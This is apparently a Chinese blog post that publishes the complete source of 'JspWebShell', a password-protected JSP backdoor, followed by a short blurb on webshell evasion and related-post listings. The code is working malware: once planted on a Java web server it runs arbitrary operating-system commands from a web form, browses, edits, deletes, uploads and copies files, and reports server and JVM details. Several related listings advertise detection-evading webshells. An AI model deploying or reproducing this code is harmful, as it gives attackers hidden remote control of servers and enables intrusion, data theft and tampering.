jspwebshell


<%@ page contentType="text/html; charset=UTF-8" language="java" import="java.sql.*,java.io.File,java.io.*,java.nio.charset.Charset,java.io.IOException,java.util.*" errorPage="" %>
<%
String path="";
String selfName="";
boolean copyfinish=false;
%>
<% selfName=request.getRequestURI();
// String editfile="";
String editfile=request.getParameter("editfile");
if (editfile!=null)
{editfile=new String(editfile.getBytes("ISO8859_1"));
}
path=request.getParameter("path");
if(path==null)
path=config.getServletContext().getRealPath("/");
%>
<%!
String _password ="111";//密码
public String readAllFile(String filePathName) throws IOException
{
FileReader fr = new FileReader(filePathName);
int count = fr.read();
String res="";
while(count != -1)
{
//System.out.print((char)count);
res=res+(char)count;
count = fr.read();
if(count == 13)
{
fr.skip(1);
}
}
fr.close();
return res;
}
public void writeFile(String filePathName,String args) throws IOException
{
FileWriter fw = new FileWriter(filePathName);
PrintWriter out=new PrintWriter(fw);
out.write(args);
out.println();
out.flush();
fw.close();
out.close();
}
public boolean createFile(String filePathName) throws IOException
{
boolean result = false;
File file = new File(filePathName);
if(file.exists())
{
System.out.println("文件已经存在!");
}
else
{
file.createNewFile();
result = true;
System.out.println("文件已经创建!");
}
return result;
}
public boolean createFolder(String fileFolderName)
{
boolean result = false;
try
{
File file = new File(fileFolderName);
if(file.exists())
{
//file.delete();
System.out.println("目录已经存在!");
result = true;
}
else
{
file.mkdir();
System.out.println("目录已经建立!");
result = true;
}
}
catch(Exception ex)
{
result = false;
System.out.println("CreateAndDeleteFolder is error:"+ex);
}
return result;
}

public boolean DeleteFolder(String filefolderName)
{
boolean result = false;
try
{
File file = new File(filefolderName);
if(file.exists())
{
file.delete();
System.out.println("目录已删除!");
result = true;
}
}
catch(Exception ex)
{
result = false;
System.out.println("CreateAndDeleteFolder is error:"+ex);
}
return result;
}
public boolean validate(String password) {
if (password.equals(_password)) {
return true;
} else {
return false;
}
}
public String HTMLEncode(String str) {
str = str.replaceAll(" ", " ");
str = str.replaceAll("<", "<");
str = str.replaceAll(">", ">");
str = str.replaceAll("\r\n", "<br>");

return str;
}
public String exeCmd(String cmd) {
Runtime runtime = Runtime.getRuntime();
Process proc = null;
String retStr = "";
InputStreamReader insReader = null;
char[] tmpBuffer = new char[1024];
int nRet = 0;

try {
proc = runtime.exec(cmd);
insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312"));
while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {
retStr += new String(tmpBuffer, 0, nRet);
}

insReader.close();
retStr = HTMLEncode(retStr);
} catch (Exception e) {
retStr = "<font color=\"red\">命令错误\"" + cmd + "\"";
} finally {
return retStr;
}
}
public boolean fileCopy(String srcPath, String dstPath) {
boolean bRet = true;

try {
FileInputStream in = new FileInputStream(new File(srcPath));
FileOutputStream out = new FileOutputStream(new File(dstPath));
byte[] buffer = new byte[1024];
int nBytes;


while ((nBytes = in.read(buffer, 0, 1024)) != -1) {
out.write(buffer, 0, nBytes);
}

in.close();
out.close();
} catch (IOException e) {
bRet = false;
}

return bRet;
}
class EnvServlet
{
public long timeUse=0;
public Hashtable htParam=new Hashtable();
private Hashtable htShowMsg=new Hashtable();
public void setHashtable()
{
Properties me=System.getProperties();
Enumeration em=me.propertyNames();
while(em.hasMoreElements())
{
String strKey=(String)em.nextElement();
String strValue=me.getProperty(strKey);
htParam.put(strKey,strValue);
}
}
public void getHashtable(String strQuery)
{
Enumeration em=htParam.keys();
while(em.hasMoreElements())
{
String strKey=(String)em.nextElement();
String strValue=new String();
if(strKey.indexOf(strQuery,0)>=0)
{
strValue=(String)htParam.get(strKey);
htShowMsg.put(strKey,strValue);
}
}
}
public String queryHashtable(String strKey)
{
strKey=(String)htParam.get(strKey);
return strKey;
}
/* public long test_int()
{
long timeStart = System.currentTimeMillis();
int i=0;
while(i<3000000)i++;
long timeEnd = System.currentTimeMillis();
long timeUse=timeEnd-timeStart;
return timeUse;
}
public long test_sqrt()
{
long timeStart = System.currentTimeMillis();
int i=0;
double db=(double)new Random().nextInt(1000);
while(i<200000){db=Math.sqrt(db);i++;}
long timeEnd = System.currentTimeMillis();
long timeUse=timeEnd-timeStart;
return timeUse;
}*/
}
%>
<%
EnvServlet env=new EnvServlet();
env.setHashtable();
//String action=new String(" ");
//String act=new String("action");
//if(request.getQueryString()!=null&&request.getQueryString().indexOf(act,0)>=0)action=request.getParameter(act);
%>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>JspWebShell</title>
<style>
body {
font-size: 12px;
font-family: "宋体";
background-color: #666666;
}
A {
COLOR: black; TEXT-DECORATION: none
}
A:hover {
COLOR: black; TEXT-DECORATION: underline; none:
}
td {
font-size: 12px;
font-family: "宋体";
color: #000000;
}

input.textbox {
border: black solid 1;
font-size: 12px;
height: 18px;
}

input.button {
font-size: 12px;
font-family: "宋体";
border: black solid 1;
}

td.datarows {
font-size: 12px;
font-family: "宋体";
height: 25px;
color: #000000;
}
.PicBar { background-color: #f58200; border: 1px solid #000000; height: 12px;}
textarea {
border: black solid 1;
}
.inputLogin {font-size: 9pt;border:1px solid lightgrey;background-color: lightgrey;}
.table1 {BORDER:gray 0px ridge;}
.td2 {BORDER-RIGHT:#ffffff 0px solid;BORDER-TOP:#ffffff 1px solid;BORDER-LEFT:#ffffff 1px solid;BORDER-BOTTOM:#ffffff 0px solid;BACKGROUND-COLOR:lightgrey; height:18px;}
.tr1 {BACKGROUND-color:gray }
</style>
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->
</script>
</head>
<body bgcolor="#666666">
<%
//session.setMaxInactiveInterval(_sessionOutTime * 60);
String password=request.getParameter("password");
if (password == null && session.getAttribute("password") == null) {

%>

<div align="center" style="position:absolute;width:100%;visibility:show; z-index:0;left:4px;top:272px">
<TABLE class="table1" cellSpacing="1" cellPadding="1" width="473" border="0" align="center">
<tr>
<td class="tr1"> <TABLE cellSpacing="0" cellPadding="0" width="468" border="0">
<tr>
<TD align="left" bgcolor="#333333"><FONT face="webdings" color="#ffffff"> 8</FONT><FONT face="Verdana, Arial, Helvetica, sans-serif" color="#ffffff"><b>JspWebShell
密码 111</b></font></TD>
<TD align="right" bgcolor="#333333"><FONT color="#d2d8ec">哈哈哈</FONT></TD>
</tr>
<form name="bctform" method="post">
<tr bgcolor="#999999">
<td height="30" colspan="2" align="center" class="td2">
<input name="password" type="password" class="textbox" id="Textbox" />
<input type="submit" name="Button" value="Login" id="Button" title="Click here to login" class="button" />
</td>
</tr>
</form>
</TABLE></td>
</tr>
</TABLE>
</div>
<%

} else {

if (session.getAttribute("password") == null) {

if (validate(password) == false) {
out.println("<div align=\"center\"><font color=\"red\"><li>密码错误</font></div>");
out.close();
return;
}

session.setAttribute("password", password);
} else {
password = (String)session.getAttribute("password");
}
%>
<%
File tmpFile = null;
String delfile="";
String delfile1="";
String editpath="";
delfile1=request.getParameter("delfile");
editpath=request.getParameter("filepath");
if (delfile1!=null)
{delfile=new String(delfile1.getBytes("ISO8859_1"));
}
if ( delfile1!= null) {
// out.print(delfile);
tmpFile = new File(delfile);
if (! tmpFile.delete()) {
out.print( "<font color=\"red\">删除失败</font><br>\n");
}
}
%>
<%String editfilecontent=null;
String editfilecontent1=request.getParameter("content");
// out.println(editfilecontent1);
//String save=request.getParameter("save");
if (editfilecontent1!=null)
{editfilecontent=new String(editfilecontent1.getBytes("ISO8859_1"));}
// out.print(editfile);
//out.print(editfilecontent);
if (editfile!=null&editfilecontent!=null)
{try {writeFile(editfile,editfilecontent);}
catch (Exception e) {out.print("写入失败");}
out.print("写入成功");
}
%>
<%request.setCharacterEncoding("GBK");%>
<%//String editfile=request.getParameter("editfile");
//out.print(editfile);
if (request.getParameter("jsptz")!=null)
{%>
<div id="Layer2" style="position:absolute; left:9px; top:340px; width:725px; height:59px; z-index:2">
<CENTER>
<table border="0" cellpadding="0" cellspacing="1" class="tableBorder">
<tr>
<td height="22" align="center" bgcolor="#000000" ><font color=#FFFFFF><strong>服务器相关参数</strong></font>
</td>
</tr>
<tr>
<td style="display" id='submenu0'><table border=0 width=100% cellspacing=1 cellpadding=3 bgcolor="#FFFFFF">
<tr bgcolor="#999999" height="22">
<td width="130" bgcolor="#999999"> 服务器名</td>
<td height="22" colspan="3"> <%= request.getServerName() %>(<%=request.getRemoteAddr()%>)</td>
</tr>
<tr bgcolor="#999999" height="22">
<td> 服务器操作系统</td>
<td colspan="3"> <%=env.queryHashtable("os.name")%> <%=env.queryHashtable("os.version")%>
<%=env.queryHashtable("sun.os.patch.level")%></td>
</tr>
<tr bgcolor="#999999" height="22">
<td> 服务器操作系统类型</td>
<td> <%=env.queryHashtable("os.arch")%></td>
<td> 服务器操作系统模式</td>
<td> <%=env.queryHashtable("sun.arch.data.model")%>位</td>
</tr>
<tr bgcolor="#999999" height="22">
<td> 服务器所在地区</td>
<td> <%=env.queryHashtable("user.country")%></td>
<td> 服务器语言</td>
<td> <%=env.queryHashtable("user.language")%></td>
</tr>
<tr bgcolor="#999999" height="22">
<td> 服务器时区</td>
<td> <%=env.queryHashtable("user.timezone")%></td>
<td> 服务器时间</td>
<td> <%=new java.util.Date()%> </td>
</tr>
<tr bgcolor="#999999" height="22">
<td> 服务器解译引擎</td>
<td width="170"> <%= getServletContext().getServerInfo() %></td>
<td width="130"> 服务器端口</td>
<td width="170"> <%= request.getServerPort() %></td>
</tr>
<tr bgcolor="#999999" height="22">
<td height="22"> 当前用户</td>
<td height="22" colspan="3"> <%=env.queryHashtable("user.name")%></td>
</tr>
<tr bgcolor="#999999" height="22">
<td> 用户目录</td>
<td colspan="3"> <%=env.queryHashtable("user.dir")%></td>
</tr>
<tr bgcolor="#999999" height="22">
<td align=left> 本文件实际路径</td>
<td height="8" colspan="3"> <%=request.getRealPath(request.getServletPath())%></td>
</tr>
</table>
</td>
</tr>
</table>
<br>
<table width="640" border="0" cellpadding="0" cellspacing="1" class="tableBorder">
<tr>
<td width="454" height="22" align="center" bgcolor="#000000" onclick="showsubmenu(1)"><font color=#FFFFFF><strong>JAVA相关参数</strong></font>
</td>
</tr>
<tr>
<td style="display" id='submenu1'>
<table border=0 width=99% cellspacing=1 cellpadding=3 bgcolor="#FFFFFF">
<tr bgcolor="#666666" height="22">
<td width="30%"> 名称</td>
<td width="50%" height="22"> 英文名称</td>
<td width="20%" height="22"> 版本</td>
</tr>
<tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
<td width="30%"> JAVA运行环境名称</td>
<td width="50%" height="22"> <%=env.queryHashtable("java.runtime.name")%></td>
<td width="20%" height="22"> <%=env.queryHashtable("java.runtime.version")%></td>
</tr>
<tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
<td width="30%"> JAVA运行环境说明书名称</td>
<td width="50%" height="22"> <%=env.queryHashtable("java.specification.name")%></td>
<td width="20%" height="22"> <%=env.queryHashtable("java.specification.version")%></td>
</tr>
<tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
<td width="30%"> JAVA虚拟机名称</td>
<td width="50%" height="22"> <%=env.queryHashtable("java.vm.name")%></td>
<td width="20%" height="22"> <%=env.queryHashtable("java.vm.version")%></td>
</tr>
<tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
<td width="30%"> JAVA虚拟机说明书名称</td>
<td width="50%" height="22"> <%=env.queryHashtable("java.vm.specification.name")%></td>
<td width="20%" height="22"> <%=env.queryHashtable("java.vm.specification.version")%></td>
</tr>
<%
float fFreeMemory=(float)Runtime.getRuntime().freeMemory();
float fTotalMemory=(float)Runtime.getRuntime().totalMemory();
float fPercent=fFreeMemory/fTotalMemory*100;
%>
<tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
<td height="22"> JAVA虚拟机剩余内存:</td>
<td height="22" colspan="2"><img width='8' height="12" align=absmiddle class=PicBar style="background-color: #000000"> <%=fFreeMemory/1024/1024%>M
</td>
</tr>
<tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
<td height="22"> JAVA虚拟机分配内存</td>
<td height="22" colspan="2"><img width='85%' align=absmiddle class=PicBar style="background-color: #000000"> <%=fTotalMemory/1024/1024%>M
</td>
</tr>
</table>
<table border=0 width=99% cellspacing=1 cellpadding=3 bgcolor="#FFFFFF">
<tr bgcolor="#666666" height="22">
<td width="30%"> 参数名称</td>
<td width="70%" height="22"> 参数路径</td>
</tr>
<tr bgcolor="#999999" height="22">
<td width="30%"> java.class.path </td>
<td width="70%" height="22"> <%=env.queryHashtable("java.class.path").replaceAll(env.queryHashtable("path.separator"),env.queryHashtable("path.separator")+"<br> ")%>
</td>
</tr>
<tr bgcolor="#999999" height="22">
<td width="30%"> java.home</td>
<td width="70%" height="22"> <%=env.queryHashtable("java.home")%></td>
</tr>
<tr bgcolor="#999999" height="22">
<td width="30%"> java.endorsed.dirs</td>
<td width="70%" height="22"> <%=env.queryHashtable("java.endorsed.dirs")%></td>
</tr>
<tr bgcolor="#999999" height="22">
<td width="30%"> java.library.path</td>
<td width="70%" height="22"> <%=env.queryHashtable("java.library.path").replaceAll(env.queryHashtable("path.separator"),env.queryHashtable("path.separator")+"<br> ")%>
</td>
</tr>
<tr bgcolor="#999999" height="22">
<td width="30%"> java.io.tmpdir</td>
<td width="70%" height="22"> <%=env.queryHashtable("java.io.tmpdir")%></td>
</tr>
</table>
</td>
</tr>
</table>
<br>
<div id="testspeed" align="center"> </div>
</CENTER></div>

<%}
else{
if (editfile!=null)//if edit
{
%>
<div id="Layer1" style="position:absolute; left:-17px; top:1029px; width:757px; height:250px; z-index:1">
<table width="99%" height="232" border="0">
<tr>
<td height="226"><form name="form2" method="post" action="">
<p align="center"> 地址:
<input name="editfile" type="text" value="<%=editfile%>" size="50">
</p>
<p align="center">
<textarea name="content" cols="105" rows="30"><%=readAllFile(editfile)%></textarea>
<input type="submit" name="Submit2" value="保存">
</p>
</form> </td>
</tr>
</table>
<p> </p></div>
<%}
else{%>

<table border="1" width="770" cellpadding="4" bordercolorlight="#999999" bordercolordark="#ffffff" align="center" cellspacing="0">
<tr bgcolor="#333333">
<td colspan="4" align="center"><FONT face="Verdana, Arial, Helvetica, sans-serif" color="#ffffff">JspWebShell
version 1.0</font><font color="#FFFFFF">(网站目录:<%=config.getServletContext().getRealPath("/")%>)</font></td>
</tr>
<tr bgcolor="#999999">
<td colspan="4"> <font color="#000000">
<%
File[] fs = File.listRoots();
for (int i = 0; i < fs.length; i++){
%>
<a href="<%=selfName %>?path=<%=fs[i].getPath()%>\">本地磁盘(<%=fs[i].getPath()%>)
</a>
<%}%>
</font></td>
</tr>
<tr bgcolor="#999999">
<td height="10" colspan="4"> <font color="#000000">
<form name="form1" method="post" action="">
<input type="text" name="command" class="button">
<input type="submit" name="Submit" value="CMD命令执行" class="button">
</form>
</font> <p>
<%
String cmd = "";
InputStream ins = null;
String result = "";
if (request.getParameter("command") != null) {
cmd = (String)request.getParameter("command");result = exeCmd(cmd);%>
<%=result == "" ? " " : result%>
<%}%>
</td>
</tr>
<FORM METHOD="POST" ACTION="?up=true&path=<%String path1=config.getServletContext().getRealPath("/"); String tempfilepath=request.getParameter("path"); if(tempfilepath!=null) path1=tempfilepath;path1=path1.replaceAll("\\\\", "\\\\\\\\"); %><%=path1%>" ENCTYPE="multipart/form-data">
<tr bgcolor="#999999">
<td colspan="2"> <INPUT TYPE="FILE" NAME="FILE1" style="width:150" SIZE="50" class="button">
<INPUT TYPE="SUBMIT" VALUE="上传" class="button"> </td>
<td colspan="2"><a href="?jsptz=true" target="_blank">JSP探针</a> </td>
</tr>
</FORM>
<% String fileexe="";
String dir="";
String deldir="";
String scrfile="";
String dstfile="";
fileexe=request.getParameter("fileexe");
dir=request.getParameter("dir");
deldir=request.getParameter("deldir");
scrfile=request.getParameter("scrfile");
dstfile=request.getParameter("dstfile");
if (fileexe!=null)
{
//out.print(path+fileexe);
createFile(path+fileexe);
}
if (dir!=null)
{
//out.print(path+dir);
createFolder(path+dir);
}
if (deldir!=null)
{
//out.print(deldir);
DeleteFolder(deldir);
}
if (scrfile!=null&dstfile!=null)
{
//out.print(scrfile);
//out.print(dstfile);
copyfinish=fileCopy(scrfile, dstfile) ;
}
%>
<tr bgcolor="#CCCCCC">
<td height="10" colspan="2" bgcolor="#999999"> <form name="form3" method="post" action="">
文件夹名:
<input name="dir" type="text" size="10" class="button">
<input type="submit" name="Submit3" value="新建目录" class="button">
</form></td>
<td width="188" height="10" bgcolor="#999999"> <form name="form4" method="post" action="">
文件名:
<input name="fileexe" type="text" size="8" class="button">
<input type="submit" name="Submit4" value="新建文件" class="button">
</form></td>
<td width="327" height="10" bgcolor="#999999"><form name="form5" method="post" action="">
文件<input name="scrfile" type="text" size="15"class="button">
复制到
<input name="dstfile" type="text" size="15" class="button">
<input type="submit" name="Submit5" value="复制" class="button">
</form><font color="#FF0000"><%if(copyfinish==true) out.print("复制成功");%></font></td>
</tr>
<%//上传
String tempfilename="";
String up=request.getParameter("up");
// String tempfilepath=request.getParameter("filepath");
// out.print(tempfilepath);
if(up!=null)
{
tempfilename=(String)session.getId();
//String tempfilename=request.getParameter("file");
File f1=new File(tempfilepath,tempfilename);
int n;
try
{
InputStream in=request.getInputStream();
BufferedInputStream my_in=new BufferedInputStream(in);
FileOutputStream fout=new FileOutputStream(f1);
BufferedOutputStream my_out=new BufferedOutputStream(fout);
byte[] b=new byte[10000];
while((n=my_in.read(b))!=-1)
{
my_out.write(b,0,n);
}
my_out.flush();
my_out.close();
fout.close();
my_in.close();
in.close();
// out.print("文件创建成功!<br>");
}
catch(IOException e)
{
out.print("文件创建失败!");
}

try
{
RandomAccessFile random1=new RandomAccessFile(f1,"r");
random1.readLine();
String filename=random1.readLine();
byte[] b=filename.getBytes("ISO-8859-1");
filename=new String(b);
int pointer=filename.lastIndexOf('\\');
filename=filename.substring(pointer+1,filename.length()-1);
File f2=new File(tempfilepath,filename);
RandomAccessFile random2=new RandomAccessFile(f2,"rw");
random1.seek(0);
for(int i=1; i<=4; i++)
{
String tempstr=random1.readLine();
}
long startPoint=random1.getFilePointer();
random1.seek(random1.length());
long mark=random1.getFilePointer();
int j=0;
long endPoint=0;
while((mark>=0)&&(j<=5))
{
mark--;
random1.seek(mark);
n=random1.readByte();
if(n=='\n')

{
j++;
endPoint=random1.getFilePointer();
}
}
long length=endPoint-startPoint+1;
int order=(int)(length/10000);
int left=(int)(length%10000);
byte[] c=new byte[10000];
random1.seek(startPoint);
for(int i=0; i<order; i++)
{
random1.read(c);
random2.write(c);
}
random1.read(c,0,left);
random2.write(c,0,left);
random1.close();
random2.close();
f1.delete();
out.print("文件上传成功!");
}
catch(Exception e)
{
out.print("文件上传失败!");
}

}

%>
<tr>
<td width="196" height="48" valign="top" bgcolor="#999999">
<% try {
//path=request.getParameter("path");
//if(path==null)
//path=config.getServletContext().getRealPath("/");
File f=new File(path);
File[] fList= f.listFiles() ;
for (int j=0;j<fList.length;j++)
{
if (fList[j].isDirectory())
{%>
<a href="<%=selfName %>?path=<%=path%><%=fList[j].getName()%>\"> <%=fList[j].getName()%></a>     <a href="?path=<%=path%>&deldir=<%=path%><%=fList[j].getName()%>">删除</a><br>
<% }

}//for
} catch (Exception e) {
System.out.println("不存在或没有权限");
}
%>
  </td>
<td colspan="3" valign="top" bgcolor="#999999">
<% try {
path=request.getParameter("path");
if(path==null)
path=config.getServletContext().getRealPath("/");
File f=new File(path);
File[] fList= f.listFiles() ;
for (int j=0;j<fList.length;j++)
{
if (fList[j].isFile())
{//request.getContextPath()得到虚拟路径%>
<%=fList[j].getName()%>
<a href="?path=<%String tempfilepath1=request.getParameter("path"); if(tempfilepath!=null) path=tempfilepath;%><%=path%>&editfile=<%=path%><%=fList[j].getName()%>" target="_blank">编辑</a>
  <a href="?action=del&path=<%=path%>&delfile=<%=path%><%=fList[j].getName()%>">删除</a><br>
<% }
}//for
} catch (Exception e) {
System.out.println("不存在或没有权限");
}
%>
</td>
</tr>
</table>
<p align="center"> </p>
<p align="center"> </p>
<%}//if edit
}
}
%>
</body>
</html>
JSP WebSehll 后门脚本 目前很多大型厂商都选择使用Java进行Web项目的开发,近年来随着各种JAVA指定环境RCE漏洞的出现,JavaWeb的安全逐渐被人们所重视,与漏洞相关的还有用于后期维持权限的Webshell。与PHP不同的是,JSP的语言特性较为严格,属于强类型语言,并且在JDK9以前并没有所谓的eval函数。一般而言JSP的变形免杀较为困难,但是依旧存在很多的”黑魔法”。不知攻,焉知防。阿里云安骑士Webshell检测系统在迭代升级过程中,除了内部的不断绕过尝试以外,也长期邀请大量白帽子进行持续的绕过测试。... 阅读详情

相关推荐

JSP的WEBSHELL源代码

上传或是用其他方式注入到别人系统,用此webshell攻击别人系统,提供各种网络协议的连接

Javaweb安全——JSP Webshell

public static class x extends ClassLoader //继承ClassLoader {#恶意类字节码 BASE64Decoder code = new sun . misc . BASE64Decoder();//将base64解码成byte数组,并传入自定义类的get函数 System . out . println(result . newInstance());}.

weixin_43610673的博客 9278

webshell -真实可用的jsp 马

网上很多一句话、webshell 各种原因导致不能用,亲测可用的大马,忍痛割爱与大家分享

JavaWeb后门(webshell)基础

最著名的莫过于 PHP 的各种奇思妙想的后门,但与 PHP 不同的是,Java 是强类型语言,语言特性较为严格,不能够像 PHP 那 样利用字符串组合当作系统函数使用,但即便如此,随着安全人员的进一步研究, 依旧出现了很多奇思妙想的 JSP Webshell。Java是一种通用的计算机编程语言,它是并发的,基于类的,面向对象的,并且专门设计为具有尽可能少的实现依赖性。利用这个特性我们可以操作类名,从而达到躲避检测的目的。jsp的后缀可以兼容为jspx的代码,也兼容jspx的所有特性,如CDATA特性。

st3pby的博客 5405

jsp执行linux shell

这是一个简单的jsp通过ssh(不是spring ,hibernate..)执行linux命令的小工具 适用人群:想通过web快速启动关闭linux各种服务的人,比如重启web,ftp服务等。

jsp webshell

根据by 慈勤强 JFolder改编,完善了部分功能有bug的地方。

Webshell免杀-JSP

JSP免杀马的基本免杀方式。

qq_55787787的博客 3785

【深度排查】VScode 远程 SSH 连接失败:从网络握手到服务部署的全链路诊断指南

本文详细解析了VScode远程SSH连接失败的常见原因及解决方案,从基础网络排查到SSH服务配置,再到VScode特有的问题处理。特别针对Ubuntu和TrueNAS系统提供了具体配置建议,帮助开发者快速解决'Could not establish connection'等连接问题,提升远程开发效率。

weixin_30301449的博客 446

webshell免杀项目-Auto-JSPwebshell(五)

Auto-JSPwebshell/jsp免杀/webshell免杀/自动生成

SuperherRo的博客 283

点云体素化算法研究-3.Voxelization 三维模型体素化

体素(voxel)即体积元素的简称,是数字数据在三维空间分割上的最小的单位。体素化就是通过创建三维体素网格来表示三维物体,是一种将无序点云变为有序点云的降采样的空间数据结构方法,便于实现点云的空间卷积。激光雷达(LiDAR)| Open3D:第五节 表面重建-体素化。

周陽讀書 2065

猫耳语音下载(mediadown)

西宾猫耳语音下载工具,能够帮助你下载猫耳音频节目。如果你是会员,它还能帮你下载会员节目。

new_stranger的专栏 2491

JSPWebShell的进一步提权

对方环境:Readhat+Tomcat+JSP+MYSQL5     shell是root系统权限 也许有的同学问,都是root了还进一步~进到哪? 嗯~说下把,jsp的shell 我没见过能直接执行shell命令的.. 包括法克工具包里面的jsp shell 大多数都是改了下版权的一个jsFolder~~好吧 不吐槽了,在这种情况下呢,我们要远程登陆他的ssh 需要怎么做

刘书的IT博客 3652

基于STM32F407的DDS信号源设计与实现:DAC+DMA+TIM的高精度波形生成

本文详细介绍了基于STM32F407微控制器实现高精度DDS信号源的完整方案。通过结合DAC、DMA和TIM外设,并运用DDS算法,实现了分辨率高达0.001Hz的波形生成。文章深入剖析了相位累加器、波表查表等核心原理,提供了从CubeMX配置到代码实战的完整指南,并探讨了性能优化与高频输出问题的解决方案。

weixin_29193259的博客 502

Bypass-JSPWebshell自动生成工具

Bypass-JSPWebshell自动生成工具

G0mini的博客 1262

告别电机啸叫!手把手教你配置TMC5160的StealthChop2静音模式(附参数自整定避坑指南)

本文详细介绍了如何通过配置TMC5160的StealthChop2模式彻底消除3D打印机电机噪音。从硬件准备到参数自整定,再到高级调优与异常处理,手把手教你实现实验室级别的静音效果,提升打印质量和使用体验。

weixin_33724659的博客 487

SLG大地图实战:从Tilemap到Shader的地表渲染与数据分层架构

本文深入探讨了SLG大地图开发中的关键技术挑战与解决方案,包括Tilemap系统的深度改造、地表渲染的Shader优化以及数据分层架构设计。通过实战案例,展示了如何实现视觉表现丰富、性能开销可控的SLG大地图,特别适合Unity开发者和游戏技术美术参考。

weixin_28693309的博客 518

script webshell jspWebShell / pythonWebShell / phpWebShell

[url=http://simplejee.group.iteye.com/group/wiki/2105-simplejee][b]http://simplejee.group.iteye.com/group/wiki/2105-simplejee[/b][/url] simplejee是一个开源的面向j2ee初学者的小项目。该项目里提供了较多的帮助j2ee初学者入门的例子和文档。项目的...

tomfish 243

电子产品的老化测试有哪些类型?

因此,越来越多的人在寻找“已知合格的测试连接器”,即经过测试具有可靠性和有效性的测试连接器,可以在老化测试中制定优化方法。例如对于芯片来说,不同的封装有不同的老化测试座,QFP老化测试座,QFN老化测试座等。老化测试时,专用老化电路板上的元件将承受等于或高于其额定工作条件的压力,以消除任何在额定寿命之前过早失效的元件。静态老化:在此类系统中,将测试设备安装到老化板上的插座中,然后放入老化箱中,其中每隔12至24小时施加电源和高温。动态老化:在动态老化系统中,设备以老化速度设定的最大速率进行测试。

软件技术的专栏 1839

一个极强JSP小程序!!!!

 http://www.xiaod.org/toolss/Jspwebshell.rar

hqf_777的专栏 1071

LVGL hal indev(porting evdev)

LVGL中对输入设备的管理是单例实现的,而在Linux的输入设备是多个的,所以需要对其进行改造成多例实现。

Bigan(安)的博客 3345

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

【Web】小白友好的Java内存马基础学习笔记

内存马(Memory Shellcode)是一种恶意攻击技术,旨在通过利用程序或操作系统的漏洞,将恶意代码注入到系统内存中并执行。与传统的攻击方式不同,内存马不需要将恶意代码写入磁盘上的文件,而是直接在内存中进行操作,从而避开传统的安全防护措施。内存马的危害性在于它可以绕过许多传统的安全防护机制,例如防病毒软件和防火墙,因为恶意代码不会留下明显的痕迹或文件。此外,由于直接在内存中执行,内存马攻击也更难以被检测和追踪。

uuzeray的博客 2450

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

[原创]内网渗透JSP webSehll连接工具

工具: JspShellExec编译: VS2012  C# (.NET Framework v2.0)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2017/11/24 14:58:49简介:&nb...

K8哥哥 403

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

利用Tomcat的用户名和密码构建永久后门“的一些选摘

http://simeon.blog.51cto.com/18680/58877 在Tomcat中,应用程序的部署很简单,只需将你的WAR放到Tomcat的webapp目录下,Tomcat会自动检测到这个文件,并将其解压。在浏览器中访问这个应用的Jsp时,通常第一次会很慢,因为Tomcat要将Jsp转化为Servlet文件,然后编译。编译以后,访问将会很快。另外Tomcat也提供了一个应用:

supper张磊的专栏 857

友情检测--tomcat管理程序认证上传及代码执行漏洞

前两天有朋友说他们公司的网站服务器的目录下突然多了

minih4ck的专栏 1695

解析JSP Webshell利器:DecodeSomeJSPWebshell

解析JSP Webshell利器:DecodeSomeJSPWebshell 去发现同类优质开源项目:https://gitcode.com/ 本文将向您介绍一个开源的、强大的JSP Webshell解析工具——。这个项目旨在帮助网络安全专业人士和开发者更好地理解和处理JSP webshell,提高对恶意代码的检测与防御能力。 项目简介 DecodeSomeJSPWebshell是一个由Minha...

gitblog_00095的博客 467

【漏洞复现】CVE-2022-22965 Spring Framework远程代码执行漏洞

服务启动后,访问http://your-ip:8080/?name=Steve&age=25即可看到一个演示页面。

m0_53121608的博客 401
上一篇: 一个内核模块的helloworld
下一篇: mysql主从复制
linux内核控
博客等级 码龄19年 41粉丝 638原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
